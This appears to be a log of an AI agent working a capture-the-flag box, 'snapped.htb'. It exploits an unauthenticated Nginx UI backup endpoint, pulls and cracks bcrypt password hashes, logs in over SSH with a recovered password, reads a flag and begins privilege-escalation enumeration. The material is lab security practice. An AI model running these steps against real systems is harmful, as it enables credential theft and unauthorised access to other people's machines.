<link rel="manifest" href="./manifest.json">
$ curl -sv http://10.129.25.16/ -H "Host: manage.snapped.htb" 2>&1 | head -30* Trying 10.129.25.16:80...
* Connected to 10.129.25.16 (10.129.25.16) port 80
> GET / HTTP/1.1
> Host: manage.snapped.htb
> User-Agent: curl/8.5.0
> Accept: */*
>
< HTTP/1.1 302 Moved Temporarily
< Server: nginx/1.24.0 (Ubuntu)
< Date: Thu, 09 Apr 2026 11:08:39 GMT
< Content-Type: text/html
< Content-Length: 154
< Connection: keep-alive
< Location: http://snapped.htb/
<
{ [154 bytes data]
* Connection #0 to host 10.129.25.16 left intact
<html>
<head><title>302 Found</title></head>
<body>
<center><h1>302 Found</h1></center>
<hr><center>nginx/1.24.0 (Ubuntu)</center>
</body>
</html>
admin.snapped.htb returns a different response - this is the Nginx-UI interface. Let me add it to hosts and explore it.
$ echo "10.129.25.16 admin.snapped.htb" | sudo bash -c 'cat >> /etc/hosts' && curl -s http://admin.snapped.htb/ 2>/dev/null<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<link href="./favicon.ico" rel="icon">
<link href="./favicon-32x32.png" rel="icon" type="image/png" sizes="32x32">
<meta content="width=device-width,initial-scale=1.0,user-scalable=0" name="viewport">
<!-- PWA Manifest -->
<link rel="manifest" href="./manifest.json">
<!-- PWA Meta Tags -->
<meta name="theme-color" content="#ffffff">
<meta name="apple-mobile-web-app-capable" content="yes">
<meta name="apple-mobile-web-app-status-bar-style" content="default">
<meta name="apple-mobile-web-app-title" content="Nginx UI">
<meta name="mobile-web-app-capable" content="yes">
<meta name="msapplication-TileColor" content="#ffffff">
<meta name="msapplication-config" content="./browserconfig.xml">
<!-- Apple Touch Icons -->
<link rel="apple-touch-icon" sizes="192x192" href="./pwa-192x192.png">
<link rel="apple-touch-icon" sizes="512x512" href="./pwa-512x512.png">
<style>
body {
height: auto !important;
min-height: 100%;
}
body.dark {
background-color: #141414;
color: #fff;
}
#app {
height: 100vh;
}
</style>
<title>Nginx UI</title>
<script type="module" crossorigin src="./assets/index-DoHxQupa.js"></script>
<link rel="stylesheet" crossorigin href="./assets/index-Cjd4fVAL.css">
</head>
<body>
<div id="app"></div>
</body>
</html>Confirmed - this is Nginx UI. Now let me exploit CVE-2026-27944 by accessing the /api/backup endpoint without authentication.
$ curl -sv http://admin.snapped.htb/api/backup 2>&1 | head -50* Host admin.snapped.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.129.25.16
* Trying 10.129.25.16:80...
* Connected to admin.snapped.htb (10.129.25.16) port 80
> GET /api/backup HTTP/1.1
> Host: admin.snapped.htb
> User-Agent: curl/8.5.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Server: nginx/1.24.0 (Ubuntu)
< Date: Thu, 09 Apr 2026 11:08:52 GMT
< Content-Type: application/zip
< Content-Length: 18306
< Connection: keep-alive
< Accept-Ranges: bytes
< Cache-Control: must-revalidate
< Content-Description: File Transfer
< Content-Disposition: attachment; filename=backup-20260409-070852.zip
< Content-Transfer-Encoding: binary
< Expires: 0
< Last-Modified: Thu, 09 Apr 2026 11:08:52 GMT
< Pragma: public
< Request-Id: 75a56c69-1f36-4a33-9320-cedfbb23e8e4
< X-Backup-Security: wBsEtOM1+7t1ow46sewLIN3DoXfJAKnFgGdwDinK4UI=:CAOJluyMx9L32wtMiPW6gw==
<
{ [2126 bytes data]
PK Y�\
hash_info.txtUT Ĉ�i � /��-�*b��l)E� ���+Ue��5E��]\
��͡yM�ӱ�K������{8���f�F���K�3L=�g#��W�X ��8������eg)kry\|��~-�֝{�� ����ӄG�;R:�J���i�����k��/撝D�$�E�T)P����^r�V)��X��nk%/����"��/$��B�m{]%�'�T=��'VB���, ��PKK3�� � PK Y�\ nginx-ui.zipUT Ĉ�i ��d��Gn!_�ӷ�BT����K8ȍ�� �kH�����9>�A4izB8=�y��Ex�x��e�3�{�\�۰ ϣ��(�Qa,����r�F.��M#��;t�y �.T�:�i9����NǏ R�ބ�S��k�9D$�V�_�@���ZmXa�C���{h3#�ؔ=���4�����̒a�+\M~��(m�c��2�m~LBi�΄1��F��ғ���lc�t� �ɋ-�� ��La/Y�}xݩ64)������-����[;c�w��E)�v���
|7�B��! ���Y ����+0���b�hi�u�>� �[FP_�eГ
qܪ�g��7/6.x�?k�z13�'��~��:ݎ8�>�cr'=۠h�� ��~�*�d�#���9�S���� �}�M�cL���[w#Q���촓��۠�)��ư7�w�p�@f�ڏPyd�]�� RmA_��u���k#��)HR+���BE�+M�g0OR��fF��|�!�����2�C~xK�
r�f� �He�Ç�_�`����z? ��i G�+�f� ���� g��.Y���z1V�h.��s� &]U �;��>eJ5�j�Q*� �I =�P��n�n���lf�@ғ�xu���JYM��LѰ_������"H?DR8\ ��h^���L p��i?~1���X,�!�L� FX��s ��iqA+���Y#�X3�Pۘ.��2��[�� ��{w�K�W}Ė������z+������4��$U ���O��l�)��� 3�Up ��s����]��x 8GŃ2ֽx`t����,��D I8c� T1�T�#=��02��eJ�c�͊�Ͱ�g�u\0;)~��GwdU�q
��Arr�i��֖A'�|n��=� �#�E�#�l˳��ۖ�n���.G à7@c��9��k����=��֑Ҿ���$d��@��� � @V�6 �Q��?ّZ�R�
��Hz�VM�`�L�bw� r=��vU�NΒ $#��ֆ-���\� |�y�
V0J.~p�S�L���!���ߠ�4�,� �F��ȸt���y�<����M}~��k/��r���t?�H�x�t������`t�97����[��̯;A@Jg� ���6�T�[:�y�Z}*�g�3��? �~xO�%���Fk �5����]�g�ҡ�7��L\�M&���㹄�ry �e�pSx�!�0����ʡ�� ��V%T�n���ߺ�oN%yh]6���2�c��~��c
S�o�T���P4� %U��A���ZЏ)+��4��~c�5�����並���$��ˮ���ؚlK�?��tnd
��3sd2:��pLm��9��4:��Q&v�8��'�o &X�$}��*�0��>��`�c-Uͅb� �]�MDj�{� -v ]
5U���zڊ�`�� �z���z���@��A�� L��j�l����� ��wy�Ȟ~���Q8�b��n�BmĨ&�BCyU�`���e�-�+#��
2j]�ʸG �?5d��p���
sH�<9���ٍK9v"�]:�f�ck���c��n?��lv 1�Z��T7� ��\?N�z��FK�yá�M5-�<q�8r;_NM4�]��?�r����n=
g�-%��q>����c!H�ԩQ����ɭ 5���T�h �����Q��qórxb��@m����j��y������㔇aq})��!�̢���<Fu�X��4ٹI��� �W��|^����~�<^#ZiU��;��G��&�/oM�r��}e�c��t?r*W���r��c��`�V ���~�.^a���]�S-ߒA����'��ϐ�#������S�:ֽ�=�p���_�)��2��M�*���/>�˛��%��� �G��Z�Mű������*
GJB �z\n�@���&L?��en������#�&�5��q��}#�ɇA]]
�7ⓑN�@����� F���{�H�"�Ǭ(v�ΠP���@.MQ[Щ��'�<9W��.4"�#�R��s\5 �[�!e�L�
�l��B%�ɍT"&���3u s����^�U�<<S��{�O�1��ѷr�;��WHY}���;i�;�}����� (� N�c�[�]y�B���N|�j#��%�q6�4�W��,��FX�=x��b�ƒ� ��}n/�+�)�3�����D6EȤ'ǭh�#݀6���C �_��9q,�e�Pΐ١}G���ćl��-ZXh20ެ�����l;}����뺭yJ^���;\y�+�(�� �Nx:�Y��*.�#�j�x�I�[Z !^:�3�U�*z��_��t�:�"��08���W��j�XbݻPL�[z?0RFd&����V�{�sp�m'T��2uO�T���}����5 ά���"*����}{o������q ���Y�&�~O�d��-��*R�>��YS�՞wU\^x��
]��u�:��
��
�Zˢ9)^.�h9
J���A �pd1V��6UgM��i�N�t; �C#��䐅x71��t�Ll��K"_����N�f^������������E�ȝJ�L�KkM�GC���5�TA ;��=�<��nlb�\>��{(�-�sl&�� Fj` �w ���:~t N◽y�N�D^^���L��\k�s���`C���f��N���mk�ˬ�aךD�sX�����M��áj��-1��S��Ͷ�-pP���[`Bk��b�3�S��6Mb���=Z'�� x�7��8����o���� ���C.1ۚǙ�[0r�"C�/jş����OFp{qq�_���<�E̹8��ͳd>�6�R�[g�
^m�(�zɔ�흋���ŧ�Ç��Bٛ� u����L�y*��sG�et"YY�ä�k�Z S��\�&I����Yy m�(.��r���ƞ�<B(Mp�6ѡ���f|�+Gm��� �H#�F� �%0�on���l�r��Z;T���lN-�Qn��ln�.�K}kU?a�ɩ�OD>[�{B�ļ�i��p��8��G� I QKY�c0���Z6���U���aE7���]z�%�vL�Qml1�7rEf�峲���u�:��$�V�l��9\�l�02���,V:7$C�&�3�s��W#��(0>�7F�~�j4�ϲ� ���[�F;��[� 2�����W|�`i�1�W�e���I!�OV4���i�9��-3 jdh�$^���+��<9��� j��_/���z�������M�+v㣁����9,[���� ]������<�ueOJө��$="�rP���K�TO"�3�����L }���~cnr��� j�=��G2�hF-!��s�εRTLrT ��O��;� ��6�Iޝ��A io� p�k�K̪P�����w�̳���Y�+R�k9�~GS�)6ܽa!?$J�b�B'�y�z�����O�x�� y3&�2���-��p���� ���X���&�f��ce�,,P����ǣ�0�j"�T�ov�J�'upL2f�G�n6 � � ���U <�q���G��eכ��
B�d�8<�X��`��F�Q�CR眼��$�O���n���ۿȴ���3Q�a���xV�5s?���ۇ����u�L뛞=jclP1�&�Pb�x�� ����Dh��=�cWO_+v���TQ��UBԮd~�U9�Mλ�N1 �q�f"r!��e~x�]�B�c2�S��{�6"S=N�!HJs �3�N�ִ��T0"MQ���Fn��B������n8{s}�U���(A���_�Jr�e,Ɏ4"L���B2e%�8b�S��BOa˭�_���3���A>�Т%�%Ă\s�O��55���? �;/��I�z0R�'�xX�]�N��a
�[V:�=Q��g����e����������� � ���o+��{]�݈�`��H���d��?o4��Ƚ5���:���Õ���A5�,1]��[��&W��H"i���$�
y'`�Oth?�I�����k7
��+Wc>��j�!Z
�����
u���;��B�-�%d�fLv8��2��UqnM�~�й � ���ʪ9M���W�=�[��� �`e�Cl�ˀE{�K��;�N4�=v BSh"ے�א
q2pK��H����r�l�G�{��E��!�N0T&���9i�
B
cם��g
���g;�7�������v��i��V�I��>�Rzu�jZ� UEr?;�zh��@��
ef ���z�z� �~r��� �մ|_>��<� b,oY6,�ȍ� tp�@a��j
�ɮ��x��4�w�� 5�=BQ; (��/ �
mw��@�*�п� JrR����蹂u�n�91�Ԍ����� U����2L���N���:��Sx �T2���KB�z�4�� ��rv�� f��S;'y9��"������4��~*��B�zN��b��Z�[(G:N�I�@^��C
���w�$_�F�� �à ��Hǜ?ts4^�Q�T��� ���)�����#ݪ�{�8- ��۬'^�}�P�!� "����S��o�� [ ^t����-����f#��ė���F��� �<�����m�E��ĵw.dVj= 7Oa$��,���f���f��( Y>K��JDU�!��d��1O���@+JI��`?T&�K�=2�P�{=HU���*"����a�<Z]F�DTGW&��Ĉ �mf�ݨ-k���#���*�!��)�T�.c9����� C�C#�1�-&�P����]���b ���݃*� ������r��*e�J���dž���g�� ;��s˗/&����,(K|��1��w��-Ƨꛈ�:W�
�l���P
��6B#�(�O���9+��) ��H��CAK}~�q9�V���� ��8C'�6�˶ h���)*A�{T��~�U[�gQē��X��E+{����3
I can see the backup is returned and there's an X-Backup-Security header containing the encryption key. Let me save the backup and extract it.
$ mkdir -p /tmp/snapped && cd /tmp/snapped && curl -sD headers.txt -o backup.zip http://admin.snapped.htb/api/backup && cat headers.txtHTTP/1.1 200 OK
Server: nginx/1.24.0 (Ubuntu)
Date: Thu, 09 Apr 2026 11:09:01 GMT
Content-Type: application/zip
Content-Length: 18306
Connection: keep-alive
Accept-Ranges: bytes
Cache-Control: must-revalidate
Content-Description: File Transfer
Content-Disposition: attachment; filename=backup-20260409-070901.zip
Content-Transfer-Encoding: binary
Expires: 0
Last-Modified: Thu, 09 Apr 2026 11:09:01 GMT
Pragma: public
Request-Id: a31075a1-c5ad-473e-ae87-608bfe0f5e70
X-Backup-Security: ZcEvDJSnaHzr7c512GiHatp548z3hsJ6z67rlUVpoqc=:MI9517AmwvKEOdJCDxR2/Q==
$ cd /tmp/snapped && file backup.zip && unzip -l backup.zipbackup.zip: Zip archive data, at least v2.0 to extract, compression method=deflate
Archive: backup.zip
Length Date Time Name
--------- ---------- ----- ----
208 2026-04-09 13:09 hash_info.txt
7696 2026-04-09 13:09 nginx-ui.zip
9952 2026-04-09 13:09 nginx.zip
--------- -------
17856 3 files
$ cd /tmp/snapped && unzip -o backup.zip && ls -laArchive: backup.zip
inflating: hash_info.txt
inflating: nginx-ui.zip
inflating: nginx.zip
total 137936
drwxrwxr-x 5 user user 4096 Apr 9 13:09 .
drwxrwxrwt 18 root root 20480 Apr 9 13:08 ..
-rw-rw-r-- 1 user user 61 Apr 9 12:24 admin.hash
-rw-r--r-- 1 user user 2295 Apr 9 12:19 app.ini
-rw-rw-r-- 1 user user 18306 Apr 9 13:09 backup.zip
-rw-r--r-- 1 user user 262144 Apr 9 12:19 database.db
-rw-rw-r-- 1 user user 199 Apr 9 12:22 decrypted_hash_info.txt
-rw-rw-r-- 1 user user 7688 Apr 9 12:22 decrypted_nginx-ui.zip
-rw-rw-r-- 1 user user 9936 Apr 9 12:22 decrypted_nginx.zip
-rwxrwxr-x 1 user user 862040 Apr 9 12:28 exploit
-rw-rw-r-- 1 user user 364 Apr 9 12:52 exploit_output.txt
-rw-rw-r-- 1 user user 23396 Apr 9 12:27 exploit_suid.c
-rw-r--r-- 1 user user 208 Apr 9 13:09 hash_info.txt
-rw-rw-r-- 1 user user 574 Apr 9 13:09 headers.txt
-rw-rw-r-- 1 user user 61 Apr 9 12:24 jonathan.hash
-rwxrwxr-x 1 user user 9152 Apr 9 12:28 librootshell.so
-rw-rw-r-- 1 user user 1177 Apr 9 12:27 librootshell_suid.c
-rw-rw-r-- 1 user user 9936 Apr 9 10:16 nginx-decrypted.zip
drwxrwxr-x 8 user user 4096 Apr 9 10:16 nginx-extracted
-rw-rw-r-- 1 user user 7688 Apr 9 10:16 nginx-ui-decrypted.zip
drwxrwxr-x 2 user user 4096 Apr 9 10:16 nginx-ui-extracted
-rw-r--r-- 1 user user 7696 Apr 9 13:09 nginx-ui.zip
-rw-r--r-- 1 user user 9952 Apr 9 13:09 nginx.zip
drwxrwxr-x 8 user user 4096 Apr 9 12:23 nginx_config
-rw------- 1 user user 139921497 Sep 23 2015 rockyou.txt
Interesting - there's already previous work in /tmp/snapped. Let me check what's been found and work with the fresh backup files.
$ cat /tmp/snapped/hash_info.txt���ɢ}x������λX %�%�z�!�T.
H���?] �.@ͫԁ���qr/��>�9�w��i
N °K�wf�C��� ��|(U�
Gr%*Q ^6��� 1��Jfv�t���R+����S���X�h ������@� ��L��� ��#��Fq��z!�@m�h�� ON�Nj������;q�$�-c�r��cPG��$ cat /tmp/snapped/decrypted_hash_info.txt 2>/dev/nullnginx-ui_hash: 67d140c23192ac893216955bf239c95aa493bc5b1d0f327649f1f9f695801f9d
nginx_hash: b2f163f7fda8be4fb62e7c9123a9f87607a780ed3bbacb6e08298eab55a57214
timestamp: 20260409-061959
version: 2.3.2
$ cat /tmp/snapped/admin.hash /tmp/snapped/jonathan.hash 2>/dev/null$2a$10$8YdBq4e.WeQn8gv9E0ehh.quy8D/4mXHHY4ALLMAzgFPTrIVltEvm
$2a$10$8M7JZSRLKdtJpx9YRUNTmODN.pKoBsoGCBi5Z8/WVGO2od9oCSyWq
Excellent! I have decrypted hashes from the backup. There are two bcrypt password hashes. Let me check the database file and try to crack these hashes.
$ cd /tmp/snapped && file database.db && sqlite3 database.db ".tables" 2>/dev/nulldatabase.db: SQLite 3.x database, last written using SQLite version 3050004, file counter 79, database pages 64, cookie 0x39, schema 4, UTF-8, version-valid-for 79
$ which sqlite3 || apt list --installed 2>/dev/null | grep sqlitelibqt5sql5-sqlite/noble,now 5.15.13+dfsg-1ubuntu1 amd64 [installed,automatic]
libqt6sql6-sqlite/noble,now 6.4.2+dfsg-21.1build5 amd64 [installed,automatic]
libsqlite3-0/noble-updates,noble-security,now 3.45.1-1ubuntu2.5 amd64 [installed,automatic]
$ sudo apt-get install -y sqlite3 2>/dev/null | tail -3Unpacking sqlite3 (3.45.1-1ubuntu2.5) ...
Setting up sqlite3 (3.45.1-1ubuntu2.5) ...
Processing triggers for man-db (2.12.0-4build2) ...
$ cd /tmp/snapped && sqlite3 database.db ".tables" && echo "---" && sqlite3 database.db ".schema" 2>/dev/nullacme_users configs namespaces sites
auth_tokens dns_credentials nginx_log_indices streams
auto_backups dns_domains nodes upstream_configs
ban_ips external_notifies notifications users
certs llm_sessions passkeys
config_backups migrations site_configs
---
CREATE TABLE `migrations` (`id` text,PRIMARY KEY (`id`));
CREATE TABLE `config_backups` (`id` integer PRIMARY KEY AUTOINCREMENT,`created_at` datetime,`updated_at` datetime,`deleted_at` datetime,`name` text,`filepath` text,`content` text);
CREATE TABLE sqlite_sequence(name,seq);
CREATE INDEX `idx_config_backups_deleted_at` ON `config_backups`(`deleted_at`);
CREATE TABLE `users` (`id` integer PRIMARY KEY AUTOINCREMENT,`created_at` datetime,`updated_at` datetime,`deleted_at` datetime,`name` text,`password` text,`status` numeric DEFAULT true,`otp_secret` blob,`recovery_codes` text,`language` text DEFAULT "en");
CREATE INDEX `idx_users_deleted_at` ON `users`(`deleted_at`);
CREATE TABLE `auth_tokens` (`user_id` integer,`token` text,`short_token` text,`expired_at` integer DEFAULT 0);
CREATE TABLE `dns_credentials` (`id` integer PRIMARY KEY AUTOINCREMENT,`created_at` datetime,`updated_at` datetime,`deleted_at` datetime,`name` text,`config` text,`provider` text,`provider_code` text);
CREATE INDEX `idx_dns_credentials_provider_code` ON `dns_credentials`(`provider_code`);
CREATE INDEX `idx_dns_credentials_deleted_at` ON `dns_credentials`(`deleted_at`);
CREATE TABLE `acme_users` (`id` integer PRIMARY KEY AUTOINCREMENT,`created_at` datetime,`updated_at` datetime,`deleted_at` datetime,`name` text,`email` text,`ca_dir` text,`registration` text,`key` text,`proxy` text,`register_on_startup` numeric,`eab_key_id` text,`eabhmac_key` text);
CREATE INDEX `idx_acme_users_deleted_at` ON `acme_users`(`deleted_at`);
CREATE TABLE `certs` (`id` integer PRIMARY KEY AUTOINCREMENT,`created_at` datetime,`updated_at` datetime,`deleted_at` datetime,`name` text,`domains` text,`filename` text,`ssl_certificate_path` text,`ssl_certificate_key_path` text,`auto_cert` integer,`challenge_method` text,`dns_credential_id` integer,`acme_user_id` integer,`key_type` text,`log` text,`resource` text,`sync_node_ids` text,`must_staple` numeric,`lego_disable_cname_support` numeric,`revoke_old` numeric);
CREATE INDEX `idx_certs_deleted_at` ON `certs`(`deleted_at`);
CREATE TABLE `llm_sessions` (`id` integer PRIMARY KEY AUTOINCREMENT,`session_id` text NOT NULL,`title` text,`path` text,`messages` text,`message_count` integer,`is_active` numeric DEFAULT true,`created_at` datetime,`updated_at` datetime,`deleted_at` datetime);
CREATE INDEX `idx_llm_sessions_deleted_at` ON `llm_sessions`(`deleted_at`);
CREATE INDEX `idx_llm_sessions_path` ON `llm_sessions`(`path`);
CREATE UNIQUE INDEX `idx_llm_sessions_session_id` ON `llm_sessions`(`session_id`);
CREATE TABLE `namespaces` (`id` integer PRIMARY KEY AUTOINCREMENT,`created_at` datetime,`updated_at` datetime,`deleted_at` datetime,`name` text,`sync_node_ids` text,`order_id` integer DEFAULT 0,`post_sync_action` text DEFAULT "reload_nginx",`upstream_test_type` text DEFAULT "local",`deploy_mode` text DEFAULT "local");
CREATE INDEX `idx_namespaces_deleted_at` ON `namespaces`(`deleted_at`);
CREATE TABLE `sites` (`id` integer PRIMARY KEY AUTOINCREMENT,`created_at` datetime,`updated_at` datetime,`deleted_at` datetime,`path` text,`advanced` numeric,`namespace_id` integer,`sync_node_ids` text);
CREATE UNIQUE INDEX `idx_sites_path` ON `sites`(`path`);
CREATE INDEX `idx_sites_deleted_at` ON `sites`(`deleted_at`);
CREATE TABLE `streams` (`id` integer PRIMARY KEY AUTOINCREMENT,`created_at` datetime,`updated_at` datetime,`deleted_at` datetime,`path` text,`advanced` numeric,`namespace_id` integer,`sync_node_ids` text);
CREATE UNIQUE INDEX `idx_streams_path` ON `streams`(`path`);
CREATE INDEX `idx_streams_deleted_at` ON `streams`(`deleted_at`);
CREATE TABLE `dns_domains` (`id` integer PRIMARY KEY AUTOINCREMENT,`created_at` datetime,`updated_at` datetime,`deleted_at` datetime,`domain` text NOT NULL,`description` text,`dns_credential_id` integer NOT NULL,`ddns_config` text);
CREATE UNIQUE INDEX `idx_dns_domain_credential` ON `dns_domains`(`domain`,`dns_credential_id`);
CREATE INDEX `idx_dns_domains_deleted_at` ON `dns_domains`(`deleted_at`);
CREATE TABLE `nodes` (`id` integer PRIMARY KEY AUTOINCREMENT,`created_at` datetime,`updated_at` datetime,`deleted_at` datetime,`name` text,`url` text,`token` text,`enabled` numeric DEFAULT false);
CREATE INDEX `idx_nodes_deleted_at` ON `nodes`(`deleted_at`);
CREATE TABLE `notifications` (`id` integer PRIMARY KEY AUTOINCREMENT,`created_at` datetime,`updated_at` datetime,`deleted_at` datetime,`type` integer,`title` text,`content` text,`details` text);
CREATE INDEX `idx_notifications_deleted_at` ON `notifications`(`deleted_at`);
CREATE TABLE `ban_ips` (`ip` text,`attempts` integer,`expired_at` integer);
CREATE INDEX `idx_ban_ips_expired_at` ON `ban_ips`(`expired_at`);
CREATE TABLE `configs` (`id` integer PRIMARY KEY AUTOINCREMENT,`created_at` datetime,`updated_at` datetime,`deleted_at` datetime,`name` text,`filepath` text,`sync_node_ids` text,`sync_overwrite` numeric);
CREATE INDEX `idx_configs_deleted_at` ON `configs`(`deleted_at`);
CREATE TABLE `passkeys` (`id` integer PRIMARY KEY AUTOINCREMENT,`created_at` datetime,`updated_at` datetime,`deleted_at` datetime,`name` text,`user_id` integer,`raw_id` text,`credential` text,`last_used_at` integer DEFAULT 0);
CREATE INDEX `idx_passkeys_deleted_at` ON `passkeys`(`deleted_at`);
CREATE TABLE `external_notifies` (`id` integer PRIMARY KEY AUTOINCREMENT,`created_at` datetime,`updated_at` datetime,`deleted_at` datetime,`type` text,`language` text,`config` text,`enabled` numeric DEFAULT true);
CREATE INDEX `idx_external_notifies_language` ON `external_notifies`(`language`);
CREATE INDEX `idx_external_notifies_type` ON `external_notifies`(`type`);
CREATE INDEX `idx_external_notifies_deleted_at` ON `external_notifies`(`deleted_at`);
CREATE TABLE `auto_backups` (`id` integer PRIMARY KEY AUTOINCREMENT,`created_at` datetime,`updated_at` datetime,`deleted_at` datetime,`name` text NOT NULL,`backup_type` text NOT NULL,`storage_type` text NOT NULL,`backup_path` text,`storage_path` text NOT NULL,`cron_expression` text NOT NULL,`enabled` numeric DEFAULT true,`last_backup_time` datetime,`last_backup_status` text DEFAULT "pending",`last_backup_error` text,`s3_endpoint` text,`s3_access_key_id` text,`s3_secret_access_key` text,`s3_bucket` text,`s3_region` text);
CREATE INDEX `idx_auto_backups_enabled` ON `auto_backups`(`enabled`);
CREATE INDEX `idx_auto_backups_storage_type` ON `auto_backups`(`storage_type`);
CREATE INDEX `idx_auto_backups_backup_type` ON `auto_backups`(`backup_type`);
CREATE INDEX `idx_auto_backups_deleted_at` ON `auto_backups`(`deleted_at`);
CREATE TABLE `site_configs` (`id` integer PRIMARY KEY AUTOINCREMENT,`created_at` datetime,`updated_at` datetime,`deleted_at` datetime,`host` text,`port` integer,`scheme` text DEFAULT "http",`display_url` text,`custom_order` integer DEFAULT 0,`health_check_enabled` numeric DEFAULT true,`check_interval` integer DEFAULT 300,`timeout` integer DEFAULT 10,`user_agent` text DEFAULT "Nginx-UI Site Checker/1.0",`max_redirects` integer DEFAULT 3,`follow_redirects` numeric DEFAULT true,`check_favicon` numeric DEFAULT true,`health_check_config` text);
CREATE INDEX `idx_site_configs_port` ON `site_configs`(`port`);
CREATE INDEX `idx_site_configs_host` ON `site_configs`(`host`);
CREATE INDEX `idx_site_configs_deleted_at` ON `site_configs`(`deleted_at`);
CREATE TABLE `nginx_log_indices` (`id` uuid,`created_at` datetime,`updated_at` datetime,`path` text NOT NULL,`main_log_path` text,`last_modified` datetime,`last_size` integer DEFAULT 0,`last_position` integer DEFAULT 0,`last_indexed` datetime,`index_start_time` datetime,`index_duration` integer,`time_range_start` datetime,`time_range_end` datetime,`document_count` integer DEFAULT 0,`enabled` numeric DEFAULT true,`index_status` text DEFAULT "not_indexed",`error_message` text,`error_time` datetime,`retry_count` integer DEFAULT 0,`queue_position` integer DEFAULT 0,PRIMARY KEY (`id`));
CREATE INDEX `idx_nginx_log_indices_main_log_path` ON `nginx_log_indices`(`main_log_path`);
CREATE UNIQUE INDEX `idx_nginx_log_indices_path` ON `nginx_log_indices`(`path`);
CREATE TABLE `upstream_configs` (`id` integer PRIMARY KEY AUTOINCREMENT,`created_at` datetime,`updated_at` datetime,`deleted_at` datetime,`socket` text,`enabled` numeric DEFAULT true);
CREATE UNIQUE INDEX `idx_upstream_configs_socket` ON `upstream_configs`(`socket`);
CREATE INDEX `idx_upstream_configs_deleted_at` ON `upstream_configs`(`deleted_at`);
$ cd /tmp/snapped && sqlite3 database.db "SELECT id, name, password FROM users;" 2>/dev/null1|admin|$2a$10$8YdBq4e.WeQn8gv9E0ehh.quy8D/4mXHHY4ALLMAzgFPTrIVltEvm
2|jonathan|$2a$10$8M7JZSRLKdtJpx9YRUNTmODN.pKoBsoGCBi5Z8/WVGO2od9oCSyWq
Two users: admin and jonathan. Let me try to crack these bcrypt hashes with hashcat or john.
$ which hashcat && hashcat --version 2>/dev/null || which john 2>/dev/null/usr/bin/hashcat
v6.2.6
$ cd /tmp/snapped && ls rockyou.txt && wc -l rockyou.txtrockyou.txt
14344391 rockyou.txt
$ cd /tmp/snapped && hashcat -m 3200 admin.hash rockyou.txt --force --potfile-disable 2>&1 | tail -20[Timed out after 300s] Command may be interactive. Ensure no prompts or stdin input, or increase the timeout (current: 300s).Bcrypt is slow with hashcat. Let me try john the ripper which may be faster, or try a smaller wordlist first.
$ cd /tmp/snapped && hashcat -m 3200 jonathan.hash rockyou.txt --force --potfile-disable -w 3 -O 2>&1 | tail -30
* Update your backend API runtime / driver the right way:
https://hashcat.net/faq/wrongdriver
* Create more work items to make use of your parallelization power:
https://hashcat.net/faq/morework
[s]tatus [p]ause [b]ypass [c]heckpoint [f]inish [q]uit =>
$2a$10$8M7JZSRLKdtJpx9YRUNTmODN.pKoBsoGCBi5Z8/WVGO2od9oCSyWq:linkinpark
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2a$10$8M7JZSRLKdtJpx9YRUNTmODN.pKoBsoGCBi5Z8/WVGO2...oCSyWq
Time.Started.....: Thu Apr 9 13:16:01 2026, (10 secs)
Time.Estimated...: Thu Apr 9 13:16:11 2026, (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 48 H/s (41.39ms) @ Accel:2 Loops:512 Thr:1 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 504/14344384 (0.00%)
Rejected.........: 0/504 (0.00%)
Restore.Point....: 500/14344384 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:512-1024
Candidate.Engine.: Device Generator
Candidates.#1....: turtle -> claire
Hardware.Mon.#1..: Util: 98%
Started: Thu Apr 9 13:15:57 2026
Stopped: Thu Apr 9 13:16:13 2026
Jonathan's password is linkinpark. Now let me crack admin's password too, and try SSH access.
$ cd /tmp/snapped && hashcat -m 3200 admin.hash rockyou.txt --force --potfile-disable -w 3 -O 2>&1 | tail -20[Timed out after 300s] Command may be interactive. Ensure no prompts or stdin input, or increase the timeout (current: 300s).Admin hash is taking too long. Let me try SSH with jonathan's credentials first.
$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'id; whoami; hostname' 2>/dev/null$ which sshpass || sudo apt-get install -y sshpass 2>/dev/null | tail -3Unpacking sshpass (1.09-1) ...
Setting up sshpass (1.09-1) ...
Processing triggers for man-db (2.12.0-4build2) ...
$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'id; whoami; hostname' 2>/dev/nulluid=1000(jonathan) gid=1000(jonathan) groups=1000(jonathan)
jonathan
snapped
We're in as jonathan. Let me grab the user flag and start exploring for privesc.
$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'cat user.txt 2>/dev/null || cat ~/user.txt 2>/dev/null || find / -name "user.txt" -readable 2>/dev/null | head -5' 2>/dev/nulldbbdcdc822bba7abfed3f9caae7c073e
User flag: dbbdcdc822bba7abfed3f9caae7c073e
Now let me save progress and move to privilege escalation. The challenge describes CVE-2026-3888, a TOCTOU race condition between snap-confine and systemd-tmpfiles.
Now let me explore the system for the privesc via CVE-2026-3888 (snap-confine TOCTOU).
$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'which snap; snap version 2>/dev/null; find / -name snap-confine -o -name snap-exec 2>/dev/null; ls -la /usr/lib/snapd/ 2>/dev/null | head -20' 2>/dev/null/usr/bin/snap
snap 2.63.1+24.04
snapd 2.63.1+24.04
series 16
ubuntu 24.04
kernel 6.17.0-19-generic
/snap/snapd/21759/usr/lib/snapd/snap-confine
/snap/snapd/21759/usr/lib/snapd/snap-exec
/snap/snapd/21759/var/lib/snapd/apparmor/snap-confine
/snap/core22/1564/var/lib/snapd/apparmor/snap-confine
/usr/lib/snapd/snap-confine
/usr/lib/snapd/snap-exec
/var/lib/snapd/apparmor/snap-confine
total 89304
drwxr-xr-x 2 root root 4096 Mar 20 11:38 .
drwxr-xr-x 94 root root 4096 Mar 20 11:38 ..
